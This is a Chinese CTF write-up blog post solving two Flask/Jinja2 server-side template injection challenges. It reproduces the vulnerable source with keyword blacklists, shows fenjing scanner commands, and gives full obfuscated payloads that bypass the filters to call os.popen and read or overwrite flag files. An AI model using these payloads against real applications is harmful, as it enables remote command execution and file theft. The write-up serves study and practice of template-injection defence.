SSTI-fenjing-思路总结

SSTI-fenjing-思路总结

2024-pwnsecCTF-jinjia2 master

  • SSTI模版注入,app.py源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from flask import Flask, request, render_template_string
import html

app = Flask(__name__)

BLACKLIST = [
'init','globals','builtins','import','os','popen','read','request','application','TemplateReference',
'cycler','joiner','namespace','lipsum','getitem','config','for','eval','flashed','range','class','mro',
'subclasses','pyfile','shell','stdout','base','if','module','RUNCMD','format','args','values','form',
'cookies','headers','pragma','mimetype','origin','referrer','pop','attr','chr','free','palestine','with'
]

BLACKLIST += ['0','1','2','3','4','5','6','7','8','9']

BLACKLIST += ["'",'"',"`",'\\','/','.','_','[',']','{{','}}','#']

@app.route("/", methods=["GET", "POST"])
def home():
c = request.form.get('c') if request.method == 'POST' else None
error_message = None
rendered_template = None

if c:
c = c.lower()
for item in BLACKLIST:
if item in c:
error_message = "Invalid input detected!"
break
else:
rendered_template = html.unescape(render_template_string(c))
# can you?
if "fr3e_p4le$t1ne&!" in rendered_template:
try:
with open('flag.txt', 'r') as flag_file:
flag = flag_file.read()
return f"Flag: {flag}"
except FileNotFoundError:
return "Flag file not found!"

return '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Jinja-Master</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=VT323&display=swap');

body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background-image: url('/static/image.jpg');
background-size: cover;
background-position: center;
font-family: 'VT323', monospace;
color: #33FF33;
}

.form-container {
background-color: rgba(0, 0, 0, 0.7);
padding: 20px;
border-radius: 10px;
box-shadow: 0px 0px 15px 5px rgba(0, 255, 0, 0.5);
max-width: 400px;
width: 100%;
}

.form-container input[type="text"] {
width: 100%;
padding: 10px;
margin: 10px 0;
border: 2px solid #33FF33;
border-radius: 5px;
background-color: #000;
color: #33FF33;
font-size: 18px;
box-sizing: border-box;
}

.form-container input[type="submit"] {
width: 100%;
padding: 10px;
background-color: #33FF33;
border: none;
border-radius: 5px;
color: #000;
font-size: 18px;
cursor: pointer;
transition: background-color 0.3s ease;
box-sizing: border-box;
}

.form-container input[type="submit"]:hover {
background-color: #00FF00;
}

.result, .error {
margin-top: 20px;
padding: 10px;
border: 2px solid #33FF33;
border-radius: 5px;
background-color: #000;
color: #33FF33;
font-size: 18px;
text-align: center;
}
</style>
</head>
<body>
<div class="form-container">
<form method="post">
Enter template string: <input type="text" name="c">
<input type="submit" value="Submit">
</form>


<div class="result">{{ rendered_template }}{{ error_message }}</div>

</div>
</body>
</html>
'''.replace("{{ error_message }}", error_message or "").replace("{{ rendered_template }}", rendered_template or "")
  • 题目无回显,需要修改源码,本地调试
1
.replace("{{ rendered_template }}", rendered_template or "").replace("{% if error_message %}", error_message and ("<div class='error'>" + error_message + "</div>") or "")
1
python -m flask run --host=0.0.0.0 --port=1520

img

  • fenjing一把嗦
1
python -m fenjing scan --url "http://127.0.0.1:1520" --extra-data "c=1"

payload

1
c={%set at=dict(rtta=x)|first|reverse%}{%set xq=dict(so=x)|first|reverse%}{%set re=dict(daer=x)|first|reverse%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set yd=dict(a=x,b=x,c=x)|length%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set in=dict(tini=x)|first|reverse%}{%set ii=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+in+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set gl=dict(slabolg=x)|first|reverse%}{%set go=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+gl+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set ge=dict(metiteg=x)|first|reverse%}{%set gi=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+ge+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set bu=dict(snitliub=x)|first|reverse%}{%set bl=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+bu+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set im=dict(tropmi=x)|first|reverse%}{%set ip=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+im+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set yt=dict(aaaaa=x)|first|length%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set pw=yd+la%}{%set iw={}|escape|list|escape|count%}{%set et=iw+lla%}{%set po=(({}|escape|urlencode|first+dict(c=x)|join)*yt)%(llla+la,llla,llla+la,sbb+et+bb+la+la,sbb+et+lla+bb)%}{%set ls=(({}|escape|urlencode|first+dict(c=x)|join)*(yd+la))%(sbb+et+lla+pw,llla+pw,iw+bb,et+bb+pw)%}{%print (((((((((((x,)|map(at,ii)|first,)|map(at,go)|first,)|map(at,gi)|first)(bl),)|map(at,gi)|first)(ip))(xq),)|map(at,po)|first)(ls),)|map(at,re)|first)()%}
1
cat flag.txt
1
c={%set at=dict(rtta=x)|first|reverse%}{%set xq=dict(so=x)|first|reverse%}{%set re=dict(daer=x)|first|reverse%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set yd=dict(a=x,b=x,c=x)|length%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set in=dict(tini=x)|first|reverse%}{%set ii=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+in+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set gl=dict(slabolg=x)|first|reverse%}{%set go=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+gl+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set ge=dict(metiteg=x)|first|reverse%}{%set gi=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+ge+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set bu=dict(snitliub=x)|first|reverse%}{%set bl=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+bu+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set im=dict(tropmi=x)|first|reverse%}{%set ip=()|select|string|batch(lla+lla+yd)|first|last*(la+la)+im+()|select|string|batch(lla+lla+yd)|first|last*(la+la)%}{%set yt=dict(aaaaa=x)|first|length%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set pw=yd+la%}{%set iw={}|escape|list|escape|count%}{%set et=iw+lla%}{%set po=(({}|escape|urlencode|first+dict(c=x)|join)*yt)%(llla+la,llla,llla+la,sbb+et+bb+la+la,sbb+et+lla+bb)%}{%set cf=(({}|escape|urlencode|first+dict(c=x)|join)*(lla+la))%(sbb+et+bb,sbb+et+pw,llla+yt,iw+bb,sbb+et+bb+yd,sbb+et+lla+pw,sbb+et+pw,sbb+et+bb+pw,et+bb+yd,llla+yt,llla+bb+yd,llla+yt)%}{%print (((((((((((x,)|map(at,ii)|first,)|map(at,go)|first,)|map(at,gi)|first)(bl),)|map(at,gi)|first)(ip))(xq),)|map(at,po)|first)(cf),)|map(at,re)|first)()%}
  • 成功获得本地demo的flag

image-20241220002258598

2024-CCB-Safe_proxy

访问页面,得到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()

def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()
  • Flask-SSTI,形式有点像强网杯一个题目
  • flag重定向到app.py
  • 绕过blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
  • __ -> '_'+'_'
  • os -> 'o'+'s'

最终payload如下

1
code={%set a='_'+'_'+'globals'+'_'+'_'%}{%set b='_'+'_'+'builtins'+'_'+'_'%}{%set c='_'+'_'+'impo''rt'+'_'+'_'%}{%set d='o'+'s'%}{{cycler.next[a][b][c](d)['pop''en']('cat ../../../flag > app.py').read()}}

img

  • 回退

img

后续研究

其实可以fenjing一把嗦,但是需要修改一下代码,改成有回显的。

40a93733048c34b153835a040397d5d

1
python -m fenjing scan --url "http://127.0.0.1:5000" --extra-data "code=1"

e55316d39cd823a891b32f1b9aad922


SSTI-fenjing-思路总结
https://xu17.top/2024/12/20/SSTI-fenjing-思路总结/
作者
XU17
发布于
2024年12月20日
许可协议
XU17